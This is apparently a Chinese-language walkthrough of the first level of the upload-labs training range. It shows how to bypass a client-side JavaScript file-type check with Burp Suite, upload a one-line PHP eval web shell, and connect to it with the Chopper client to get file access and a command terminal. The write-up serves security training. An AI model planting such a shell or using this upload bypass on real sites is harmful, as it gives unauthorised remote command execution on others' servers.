一、Pass-01
1、上传一个shell.php
shell.php内容为:<?php @eval($_POST['123']);?>
//结果如下图所示,提示我们文件后缀不正确,只允许后缀名为:.jpg .png .gif的文件被上传
2、浏览器开启代理,打开BP,我们再次尝试上传shell.php
结果如下图所示:P没有收到拦截的请求包,依旧提示不允许上传
//这就说明了,该白名单机制,是用js代码写在前端的
f12查看,如下所示:
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
3、绕过前端的js代码限制:开启代理,打开BP,上传shell.jpg,使用BP修改为shell.php,放通即可
①、修改前:
②、修改后:
③、上传成功后,ctrl+shift+c,查看图片上传点
如下图所示,上传点为:http://192.168.97.139/upload-labs/upload/shell.php
//index.php不是目录,是Pass-01目录下的文件,所以此时的父目录为upload-labs
4、使用菜刀连接,该shell.php
①、右键空白,点击添加,填写完成后,点击回车即可
②、双击,添加的shell,即可获得靶机目录
③、右键shell,添加模拟终端,可以打开cmd